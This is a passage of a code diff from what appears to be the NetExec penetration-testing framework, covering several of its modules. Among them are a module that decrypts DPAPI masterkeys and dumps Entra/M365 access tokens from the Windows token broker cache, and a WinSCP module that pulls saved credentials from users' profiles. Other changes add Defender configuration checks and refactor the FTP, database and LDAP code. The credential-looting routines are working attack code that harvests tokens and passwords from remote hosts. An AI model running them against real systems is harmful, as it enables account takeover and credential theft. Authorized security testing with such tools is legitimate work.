return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
if attrib["Key"].decode() == "WTRes_Token":
|
||||
# Extract every access token
|
||||
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+101
-10
@@ -9,6 +9,7 @@ from termcolor import colored
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.dcerpc.v5 import rrp, samr, scmr
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError as SMBSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
@@ -53,7 +54,7 @@ class ConfigCheck:
|
||||
self.reasons = []
|
||||
|
||||
def run(self):
|
||||
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs):
|
||||
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True):
|
||||
if checker is None:
|
||||
checker = HostChecker.check_registry
|
||||
|
||||
@@ -88,11 +89,11 @@ class NXCModule:
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
|
||||
self.wcc_logger = logging.getLogger("WCC")
|
||||
self.wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
@@ -160,7 +161,7 @@ class HostChecker:
|
||||
def run(self):
|
||||
self.init_checks()
|
||||
self.check_config()
|
||||
|
||||
|
||||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
@@ -173,7 +174,7 @@ class HostChecker:
|
||||
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
|
||||
@@ -190,7 +191,15 @@ class HostChecker:
|
||||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
|
||||
ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
|
||||
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
|
||||
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
|
||||
ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
@@ -243,7 +252,7 @@ class HostChecker:
|
||||
if host_id is not None:
|
||||
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
|
||||
|
||||
def check_registry(self, *specs, options=None):
|
||||
def check_registry(self, *specs, options=None, stop_on_error=False):
|
||||
"""
|
||||
Perform checks that only require to compare values in the registry with expected values, according to the specs
|
||||
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
|
||||
@@ -261,6 +270,7 @@ class HostChecker:
|
||||
try:
|
||||
if len(spec) == 3:
|
||||
(key, value_name, expected_value) = spec
|
||||
op = operator.eq
|
||||
elif len(spec) == 4:
|
||||
(key, value_name, expected_value, op) = spec
|
||||
else:
|
||||
@@ -268,7 +278,7 @@ class HostChecker:
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
if op == operator.eq:
|
||||
@@ -308,6 +318,9 @@ class HostChecker:
|
||||
else:
|
||||
ok = False
|
||||
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
|
||||
if stop_on_error:
|
||||
ok = None
|
||||
return ok, reasons
|
||||
continue
|
||||
|
||||
if op(value, expected_value):
|
||||
@@ -479,6 +492,78 @@ class HostChecker:
|
||||
|
||||
return success, reasons
|
||||
|
||||
def get_exclusions(self, key_name):
|
||||
exclusions = []
|
||||
try:
|
||||
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
|
||||
for _, value_name, _ in values:
|
||||
exclusions.append(value_name)
|
||||
except Exception:
|
||||
self.context.log.debug("No defender exclusion policies")
|
||||
|
||||
return len(exclusions), exclusions
|
||||
|
||||
def check_defender_exclusion(self, *spec, options=None):
|
||||
try:
|
||||
if len(spec) == 2:
|
||||
(policy_key_name, key_name) = spec
|
||||
else:
|
||||
ok = False
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
reasons = []
|
||||
success = True
|
||||
|
||||
count, exclusions_p = self.get_exclusions(policy_key_name)
|
||||
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
|
||||
count_k, exclusions_k = self.get_exclusions(key_name)
|
||||
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
|
||||
count += count_k
|
||||
|
||||
if count > 0:
|
||||
success = False
|
||||
|
||||
return success, reasons
|
||||
|
||||
def check_defender_service(self):
|
||||
ok = True
|
||||
raised = False
|
||||
reasons = []
|
||||
try:
|
||||
service_config, service_status = self.get_service("windefend", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("windefend service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("windefend service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons = [f"windefend service check error({e})"]
|
||||
if ok is False or raised is True:
|
||||
try:
|
||||
service_config, service_status = self.get_service("sense", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("sense service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("sense service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons.append(f"sense service check error({e})")
|
||||
if raised is True:
|
||||
reasons_save = reasons
|
||||
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
|
||||
ok, reasons = self.check_registry(args)
|
||||
reasons.extend(reasons_save)
|
||||
|
||||
return ok, reasons
|
||||
|
||||
def _open_root_key(self, dce, connection, root_key):
|
||||
ans = None
|
||||
retries = 1
|
||||
@@ -527,7 +612,7 @@ class HostChecker:
|
||||
break
|
||||
return subkeys
|
||||
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None):
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
|
||||
"""Query remote registry data for a given registry value"""
|
||||
|
||||
def subkey_values(subkey_handle):
|
||||
@@ -580,8 +665,10 @@ class HostChecker:
|
||||
|
||||
subkey_handle = ans["phkResult"]
|
||||
|
||||
if valueName is None:
|
||||
if valueName is None and all_value is False:
|
||||
return get_value(subkey_handle)[2]
|
||||
elif valueName is None and all_value is True:
|
||||
return subkey_values(subkey_handle)
|
||||
else:
|
||||
for _, name, data in subkey_values(subkey_handle):
|
||||
if name.upper() == valueName.upper():
|
||||
@@ -635,15 +722,19 @@ class HostChecker:
|
||||
self.context.log.error(f"ls(): C:\\{path} {e}\n")
|
||||
return file_listing
|
||||
|
||||
|
||||
def le(reg_sz_string, number):
|
||||
return int(reg_sz_string[:-1]) <= number
|
||||
|
||||
|
||||
def in_(obj, seq):
|
||||
return obj in seq
|
||||
|
||||
|
||||
def startswith(string, start):
|
||||
return string.startswith(start)
|
||||
|
||||
|
||||
def not_(boolean_operator):
|
||||
def wrapper(*args, **kwargs):
|
||||
return not boolean_operator(*args, **kwargs)
|
||||
|
||||
@@ -17,13 +17,13 @@ class NXCModule:
|
||||
self.username = module_options["USER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchBase = connection.ldapConnection._baseDN
|
||||
searchBase = connection.ldap_connection._baseDN
|
||||
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
|
||||
|
||||
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
|
||||
|
||||
# Get attributes of provided user
|
||||
r = connection.ldapConnection.search(
|
||||
r = connection.ldap_connection.search(
|
||||
searchBase=searchBase,
|
||||
searchFilter=searchFilter,
|
||||
attributes=[
|
||||
|
||||
+11
-27
@@ -1,9 +1,8 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -17,44 +16,29 @@ class NXCModule:
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
|
||||
+22
-9
@@ -5,16 +5,17 @@
|
||||
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
|
||||
|
||||
import traceback
|
||||
from typing import Tuple
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from urllib.parse import unquote
|
||||
from io import BytesIO
|
||||
import re
|
||||
import configparser
|
||||
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
@@ -98,7 +99,7 @@ class NXCModule:
|
||||
clearpass = clearpass[len(key):]
|
||||
return clearpass
|
||||
|
||||
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
|
||||
def dec_next_char(self, pass_bytes) -> tuple[int, bytes]:
|
||||
"""
|
||||
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
||||
|
||||
@@ -307,7 +308,11 @@ class NXCModule:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
try:
|
||||
remote_ops.finish()
|
||||
except rrp.DCERPCSessionError as e:
|
||||
# Likely can't stop rrp due to other services dependending on it
|
||||
context.log.debug(f"Error finishing remote operations: {e}")
|
||||
|
||||
# ==================== Handle Configs ====================
|
||||
def decode_config_file(self, context, confFile):
|
||||
@@ -347,14 +352,19 @@ class NXCModule:
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
context.log.display("Looking for WinSCP creds in User documents and AppData...")
|
||||
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
||||
users = [row.strip() for row in output.split("\r\n")[2:]]
|
||||
users = []
|
||||
out = connection.conn.listPath(self.share, "\\Users\\*")
|
||||
for obj in out:
|
||||
if obj.get_longname() in [".", ".."] or not obj.is_directory():
|
||||
continue
|
||||
else:
|
||||
users.append(obj.get_longname())
|
||||
|
||||
# Iterate over found users and default paths to look for WinSCP.ini files
|
||||
for user in users:
|
||||
paths = [
|
||||
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
|
||||
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
|
||||
(f"\\Users\\{user}\\Documents\\WinSCP.ini"),
|
||||
(f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"),
|
||||
]
|
||||
for path in paths:
|
||||
conf_file = ""
|
||||
@@ -363,9 +373,12 @@ class NXCModule:
|
||||
connection.conn.getFile(self.share, path, buf.write)
|
||||
conf_file = buf.getvalue().decode()
|
||||
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
|
||||
except Exception as e:
|
||||
except SessionError as e:
|
||||
context.log.debug(f"No config file found at '{self.share + path}': {e}")
|
||||
if conf_file:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error getting config file at '{self.share + path}': {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
self.decode_config_file(context, conf_file)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
+4
-1
@@ -1,3 +1,4 @@
|
||||
# PYTHON_ARGCOMPLETE_OK
|
||||
import sys
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import identify_target_file
|
||||
@@ -142,7 +143,6 @@ def main():
|
||||
|
||||
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
|
||||
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
|
||||
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
@@ -174,6 +174,9 @@ def main():
|
||||
for module in args.module:
|
||||
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
exit(0)
|
||||
elif args.show_module_options:
|
||||
nxc_logger.error("--options requires -M/--module")
|
||||
exit(1)
|
||||
elif args.module:
|
||||
# Check the modules for sanity before loading the protocol
|
||||
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
|
||||
|
||||
+1
-1
@@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
if cred[4] == "hash":
|
||||
usernames.append(cred[2])
|
||||
passwords.append(cred[3])
|
||||
output_list = [":".join(combination) for combination in zip(usernames, passwords)]
|
||||
output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)]
|
||||
write_list(filename, output_list)
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from uuid import UUID
|
||||
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
@@ -8,6 +10,45 @@ def parse_result_attributes(ldap_response):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
|
||||
val_list = []
|
||||
for val in attribute["vals"].components:
|
||||
# Typical Byte objects we know how to decode
|
||||
if str(attribute["type"]) == "objectGUID":
|
||||
val_decoded = UUID(bytes=val.__bytes__())
|
||||
elif str(attribute["type"]) == "objectSid":
|
||||
val_decoded = sid_to_str(val.__bytes__())
|
||||
else:
|
||||
# For the rest we try to decode the value with its encoding
|
||||
try:
|
||||
encoding = val.encoding
|
||||
val_decoded = str(val).encode(encoding).decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# If we can't decode the value, we'll just return the bytes
|
||||
val_decoded = val.__bytes__()
|
||||
val_list.append(val_decoded)
|
||||
if len(val_list) == 1:
|
||||
attribute_map[str(attribute["type"])] = val_list[0]
|
||||
else:
|
||||
attribute_map[str(attribute["type"])] = val_list
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
return parsed_response
|
||||
|
||||
|
||||
def sid_to_str(sid):
|
||||
try:
|
||||
# revision
|
||||
revision = int(sid[0])
|
||||
# count of sub authorities
|
||||
sub_authorities = int(sid[1])
|
||||
# big endian
|
||||
identifier_authority = int.from_bytes(sid[2:8], byteorder="big")
|
||||
# If true then it is represented in hex
|
||||
if identifier_authority >= 2**32:
|
||||
identifier_authority = hex(identifier_authority)
|
||||
|
||||
# loop over the count of small endians
|
||||
sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)])
|
||||
return "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
|
||||
except Exception:
|
||||
pass
|
||||
return sid
|
||||
+3
-1
@@ -3,7 +3,7 @@ from nxc.logger import nxc_logger
|
||||
|
||||
# right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases
|
||||
protocol_dict = {
|
||||
"Ftp": {"ports": [21], "services": ["Ftp"]},
|
||||
"ftp": {"ports": [21], "services": ["ftp"]},
|
||||
"ssh": {"ports": [22, 2222], "services": ["ssh"]},
|
||||
"smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]},
|
||||
"ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]},
|
||||
@@ -11,6 +11,8 @@ protocol_dict = {
|
||||
"rdp": {"ports": [3389], "services": ["ms-wbt-server"]},
|
||||
"winrm": {"ports": [5985, 5986], "services": ["wsman"]},
|
||||
"vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]},
|
||||
"wmi": {"ports": [135], "services": ["msrpc"]},
|
||||
"nfs": {"ports": [2049], "services": ["nfs"]},
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -24,19 +24,23 @@ class ftp(connection):
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
|
||||
pass
|
||||
if self.create_conn_obj() and self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
|
||||
@@ -1,31 +1,23 @@
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, delete, func
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, delete, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
Session = scoped_session(session_factory)
|
||||
self.sess = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -80,26 +72,13 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.sess.execute(table.delete())
|
||||
|
||||
def add_host(self, host, port, banner):
|
||||
"""Check if this host is already in the DB, if not add it"""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
@@ -133,7 +112,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.sess.execute(q, hosts) # .scalar()
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
@@ -143,8 +122,9 @@ class database:
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.sess.execute(q).all()
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
